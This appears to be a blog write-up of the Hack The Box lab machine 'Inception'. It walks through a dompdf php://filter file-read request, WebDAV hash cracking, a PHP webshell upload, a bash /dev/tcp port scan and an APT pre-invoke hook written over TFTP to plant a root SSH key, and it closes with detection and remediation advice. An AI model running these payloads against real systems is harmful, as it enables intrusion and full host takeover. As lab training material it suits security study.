Skip to content
Back to all posts

HTB: Inception

· 20 min medium Linux Inception

A layered exploitation chain through dompdf LFI, WebDAV file upload, LXC container escape via anonymous FTP reconnaissance, and apt pre-invoke hook injection through TFTP.

Overview

Inception is a medium Linux box whose architecture mirrors its namesake film: exploitation proceeds through nested layers, each requiring a different technique to penetrate. The outer layer is a web application running dompdf 0.6.0 behind a Squid proxy. The middle layer is an LXC container where initial code execution lands. The innermost layer is the host machine, reachable only through internal services discovered from within the container.

The attack chain spans four steps across two network boundaries. dompdf’s php:// wrapper bypass (CVE-2014-2383) provides arbitrary file read, which leaks WebDAV credentials from Apache’s configuration. WebDAV file upload achieves code execution as www-data, but inside an LXC container rather than on the host. From the container, anonymous FTP on the host exposes the full filesystem (no chroot), revealing a root cron job that runs apt-get update every five minutes. TFTP (also without chroot) provides write access to the host filesystem. Dropping an APT::Update::Pre-Invoke hook into /etc/apt/apt.conf.d/ executes arbitrary commands as root on the next cron cycle.

The box teaches pivoting, container boundary awareness, and the value of protocol-level reconnaissance. Each step forward requires understanding why the previous layer’s constraints prevent a direct path to root.

Reconnaissance

I start with a service-version scan:

nmap -sC -sV -oA scans/inception 10.129.15.30
PortServiceProduct / VersionNotes
80HTTPApache httpd 2.4.18 (Ubuntu)Page titled “Inception”
3128HTTP proxySquid http proxy 3.5.12Open proxy

Two services. HTTP serves a static page with a single image; no interactive content. Port 3128 is a Squid HTTP proxy accepting external connections. The combination of a web application and an open forward proxy is a strong indicator of a two-tier architecture: public-facing services on one network, internal services accessible only through the proxy. Apache 2.4.18 maps to Ubuntu 16.04 (Xenial), which reached end-of-life in April 2021.

Attack Surface Analysis

dompdf 0.6.0 (CVE-2014-2383)

Directory enumeration against port 80 finds /dompdf/ with directory listing enabled. The directory contains a VERSION file reading 0.6.0.

dompdf is a PHP library that renders HTML to PDF. Version 0.6.0 is vulnerable to CVE-2014-2383: a local file inclusion through the input_file parameter. The vulnerability exploits a logic gap in dompdf’s CHROOT enforcement. The code checks whether the protocol is empty or file:// before applying path restrictions. PHP stream wrappers (php://) have a non-empty protocol string that matches neither condition, so they bypass CHROOT entirely. This is a classic allowlist-vs-denylist failure: the code denies known-dangerous protocols rather than allowing only safe ones.

AttributeValue
CVECVE-2014-2383
CVSS 3.17.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CWECWE-22 (Path Traversal)
Root causephp:// wrapper bypasses DOMPDF_CHROOT because protocol != "" and != file://
Affecteddompdf < 0.6.1

WebDAV endpoint

The dompdf LFI reveals the Apache vhost configuration, which declares a WebDAV endpoint at /webdav_test_inception/ with HTTP Basic authentication backed by a password file at a known filesystem path. Reading the password file via the same LFI yields a crackable Apache MD5 hash. The _test_ naming convention suggests a development artefact left in production.

Squid proxy

The Squid proxy accepts external connections but has ACLs blocking requests to RFC 1918 ranges (192.168.0.0/16, 10.0.0.0/8, 172.16.0.0/12). I tested this by issuing curl -x http://10.129.15.30:3128 http://192.168.0.1/, which returned HTTP 403. This prevents using the proxy as a direct pivot to internal hosts from the attacker’s machine.

Vulnerability Analysis

The exploitation chain requires four distinct steps across two network boundaries:

dompdf LFI (CVE-2014-2383). The php://filter/convert.base64-encode/resource= chain reads any file accessible to the Apache process (www-data). The base64 encoding is necessary because dompdf attempts to parse the included content as HTML; binary files or files containing angle brackets would corrupt the output. Wrapping the content in base64 produces clean alphanumeric output embedded in the generated PDF.

WebDAV credential exposure. The Apache config read via LFI discloses the WebDAV endpoint path and credential file location. The credential file contains an Apache MD5 hash ($apr1$) that cracks in seconds with rockyou.txt: webdav_tester:babygurl69. Apache MD5 ($apr1$) uses only 1000 iterations of MD5, making it orders of magnitude faster to brute-force than bcrypt or Argon2id.

WebDAV file upload. With valid credentials, the WebDAV endpoint accepts PUT requests. Uploading a PHP file to the web-accessible directory achieves code execution as www-data. However, execution lands inside an LXC container at 192.168.0.10, not on the host. The ip addr output shows eth0@if6; the @if suffix indicates a veth pair, the standard network interface type for Linux containers. This is the first indication that a container boundary exists between the web server and the actual host.

apt pre-invoke hook injection. From inside the container, anonymous FTP on the host (192.168.0.1) exposes the full filesystem without chroot. The host’s /etc/crontab shows root running apt-get update every five minutes. TFTP (also without chroot) provides write access to the host filesystem. Writing an APT::Update::Pre-Invoke hook to /etc/apt/apt.conf.d/ causes apt to execute arbitrary commands as root before initiating network operations. The apt hook mechanism is designed for pre-flight checks (mirror selection, proxy configuration), but it runs with the full privileges of the calling process.

Exploitation

Step 1: LFI via dompdf

curl -s "http://10.129.15.30/dompdf/dompdf.php?input_file=\
php://filter/convert.base64-encode/resource=/etc/passwd" \
  -o passwd.pdf

The PDF contains a base64 blob that decodes to /etc/passwd. Key entry: cobb:x:1000:1000::/home/cobb:/bin/bash. The username references the protagonist of the film. I also read /etc/php/7.0/apache2/php.ini early to check allow_url_fopen; it was Off, which ruled out the dompdf remote font RCE technique (fetching a malicious font via CSS @font-face). Knowing this constraint early saved time and directed the attack towards local file read rather than remote code execution through dompdf itself.

Step 2: Apache config and credential extraction

curl -s "http://10.129.15.30/dompdf/dompdf.php?input_file=\
php://filter/convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf" \
  -o vhost.pdf

The decoded config reveals:

Alias /webdav_test_inception /var/www/html/webdav_test_inception
<Directory /var/www/html/webdav_test_inception>
    DAV On
    AuthType Basic
    AuthUserFile /var/www/html/webdav_test_inception/webdav.passwd
</Directory>

Reading webdav.passwd via the same LFI yields:

webdav_tester:$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0

John the Ripper cracks the Apache MD5 hash in seconds:

john --wordlist=/usr/share/wordlists/rockyou.txt webdav.hash
# webdav_tester:babygurl69

Step 3: WebDAV upload for RCE

curl -u "webdav_tester:babygurl69" -X PUT \
  http://10.129.15.30/webdav_test_inception/shell.php \
  --data '<?php system($_GET["cmd"]); ?>'

Verify execution:

GET /webdav_test_inception/shell.php?cmd=id

Response: uid=33(www-data) gid=33(www-data) groups=33(www-data)

The ip addr output confirms LXC:

3: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> ... inet 192.168.0.10/24

The @if6 suffix indicates a veth pair. The host machine is at 192.168.0.1. I confirmed this by reading /proc/1/cgroup, which showed /lxc/Inception_server; the container name matches the box theme.

Step 4: internal host reconnaissance

Reverse shells fail. The container has egress filtering that blocks outbound connections to the HTB VPN range (10.10.0.0/8). I tested several approaches: bash /dev/tcp reverse shell, Python reverse shell, and netcat. All timed out. All further exploitation must occur from within the container via the webshell, which constrains tool availability significantly.

I wrote a minimal port scanner in bash and ran it through the webshell to enumerate the host:

for p in 21 22 23 25 53 69 80 111 443 3128; do
  (echo >/dev/tcp/192.168.0.1/$p) 2>/dev/null && echo "$p open"
done

FTP (21) and SSH (22) respond on the host. Anonymous FTP connects successfully, and the FTP root is the host filesystem root (no chroot). The full system configuration is readable: /etc/shadow, /etc/crontab, service configurations, and application code.

The critical discovery in /etc/crontab:

*/5 * * * *   root    apt-get update 2>&1 >/var/log/apt/custom.log

Root runs apt-get update every five minutes. The apt-get update command reads all configuration files in /etc/apt/apt.conf.d/ before contacting mirrors, and Pre-Invoke hooks execute shell commands with the calling process’s privileges.

I attempted SSH to the host using the cracked WebDAV password (babygurl69) for the cobb account. Authentication failed. Password reuse across the application and system layers would have been a shorter path, but the credentials were scoped to the WebDAV endpoint only.

Step 5: TFTP write and apt hook injection

TFTP on the host (port 69) accepts PUT requests without authentication and without chroot, providing write access to arbitrary filesystem paths. I chose TFTP over FTP because FTP anonymous sessions are typically read-only, while this TFTP daemon was configured for both read and write.

printf 'APT::Update::Pre-Invoke {"mkdir -p /root/.ssh && echo ssh-ed25519 AAAA... > /root/.ssh/authorized_keys && chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys";};\n' > /tmp/99pwn
tftp 192.168.0.1 -c put /tmp/99pwn /etc/apt/apt.conf.d/99pwn

The APT::Update::Pre-Invoke directive runs a shell command before apt initiates network operations. The 99 prefix controls execution order within apt.conf.d/; files are processed in lexicographic order, so 99pwn runs after all legitimate configuration. The hook plants an SSH public key in /root/.ssh/authorized_keys.

After the next cron cycle (up to five minutes):

ssh -i /tmp/inception_key [email protected]

Root shell on the host. Both flags captured.

Post-Exploitation

Container boundary analysis

The LXC container uses UID mapping with a 100000 offset: container UID 1000 (cobb) maps to host UID 101000. This is the standard unprivileged LXC security model. Privilege escalation within the container does not translate to host root because the kernel enforces UID remapping at the namespace boundary. The container boundary itself held; the escape path went entirely through misconfigured host services.

Host service exposure

The host’s FTP and TFTP services are bound to 0.0.0.0, making them accessible from both the container network and any other interface. In a production environment, this trust boundary violation is the core issue. A container compromise should not provide unauthenticated read/write access to the host filesystem. FTP without chroot is a read-anywhere primitive. TFTP without chroot is a write-anywhere primitive. Together, they give a container attacker full control of the host.

Failed approaches

Three approaches failed before the successful chain:

  1. dompdf remote font RCE. The technique works by injecting a CSS @font-face rule pointing to an attacker-controlled server hosting a malicious PHP font file. dompdf fetches and caches the font with a .php extension, then a direct request to the cache path triggers execution. Blocked here because allow_url_fopen = Off in PHP configuration, which I confirmed via LFI of php.ini before attempting the technique.

  2. Squid proxy pivot. Routing requests through the Squid proxy to reach internal hosts (192.168.0.1) returned HTTP 403. The proxy’s http_access ACLs deny requests to RFC 1918 address space.

  3. SSH with WebDAV password. Tried cobb:babygurl69 against SSH on the host. Authentication rejected. The password was specific to the WebDAV endpoint.

Defensive Analysis

Detection opportunities

PhaseMITRE ATT&CKDetection
Initial accessT1190IDS signature for php://filter in HTTP query strings
ExecutionT1059.004File integrity monitoring on /etc/apt/apt.conf.d/
PersistenceT1098.004SSH authorized_keys file creation on host
DiscoveryT1083Anomalous FTP read patterns (bulk config file access)
Lateral movementT1210TFTP PUT to system directories

Network-level: TFTP traffic to system paths is abnormal. Any TFTP PUT operation writing outside a dedicated TFTP directory should trigger an alert. FTP sessions reading system configuration files (/etc/crontab, /etc/shadow, /etc/apt/apt.conf.d/) are suspicious in any context. A WAF or IDS rule matching php://filter in query string parameters would catch the initial LFI; this string has no legitimate use in user-supplied input.

Host-level: File integrity monitoring (AIDE, OSSEC, or similar) on /etc/apt/apt.conf.d/ would detect the hook injection. Any new file in that directory warrants investigation. SSH key creation in /root/.ssh/ should trigger an immediate alert; root key additions are rare operational events and common attacker persistence mechanisms.

Remediation

PriorityActionEffortImpact
P0Upgrade dompdf to a maintained versionMediumCritical
P0Remove TFTP or chroot to a dedicated directoryLowCritical
P0Chroot FTP and disable anonymous accessLowCritical
P1Remove WebDAV test endpoint from productionLowHigh
P1Restrict /etc/apt/apt.conf.d/ permissions to root only (700)LowHigh
P1Bind internal services (FTP, TFTP) to localhost or a management interfaceLowHigh
P2Add network segmentation between container and hostMediumMedium
P2Replace Apache MD5 ($apr1$) with bcrypt for WebDAV authLowMedium
P3Audit all cron jobs running as rootLowMedium
P3Upgrade from Ubuntu 16.04 to a supported releaseHighHigh

The fundamental issue is the trust boundary between the LXC container and the host. The container’s UID remapping provides process isolation, but the host exposes FTP and TFTP to the container network without authentication or path restriction. A single container compromise translates to full host compromise through these services. Binding FTP and TFTP to a management interface (or removing them entirely) eliminates the escape path regardless of container vulnerabilities.

The apt-get update cron job running as root compounds the problem. Any scheduled privileged command that reads configuration from a writable directory is a potential injection point. If the cron job is necessary, running it under a non-root user with only the required capabilities, or using apt-get update -o Dir::Etc::parts=/root/apt-hooks/ to restrict the configuration directory, would limit the blast radius.

Key Takeaways

  1. php:// wrappers bypass CHROOT in dompdf. The CHROOT check compares the protocol to "" and "file://". Any other protocol passes without restriction. This is an allowlist implemented as a denylist: it blocks known protocols instead of permitting only safe ones. When testing file inclusion against dompdf, try PHP stream wrappers before assuming CHROOT is effective.

  2. FTP without chroot is a read-anywhere primitive. Anonymous FTP exposing the host filesystem root makes the entire system configuration available: cron jobs, service configs, password hashes, and application credentials. The chroot directive exists in every major FTP daemon (vsftpd, ProFTPD, Pure-FTPd) and should be enabled by default.

  3. TFTP without chroot is a write-anywhere primitive. Combined with a privileged cron job that reads configuration from a writable directory, it produces a clean root escalation path. The same pattern applies to any writable location feeding into a privileged execution context: systemd unit directories, cron.d, logrotate.d, profile.d.

  4. Container escape requires host-side services. The LXC boundary itself held. UID remapping prevented privilege escalation within the container from translating to host root. The escape path went through misconfigured host services (FTP, TFTP) accessible from the container’s network segment. Container security is only as strong as the services exposed to the container’s network.

  5. Error messages are existence oracles. When TFTP read of /root/.ssh/authorized_keys returned “File must have global read permissions,” that confirmed the file existed with restrictive permissions (likely 600). Protocol error messages frequently reveal more information than their authors intended: file existence, permission modes, directory structure.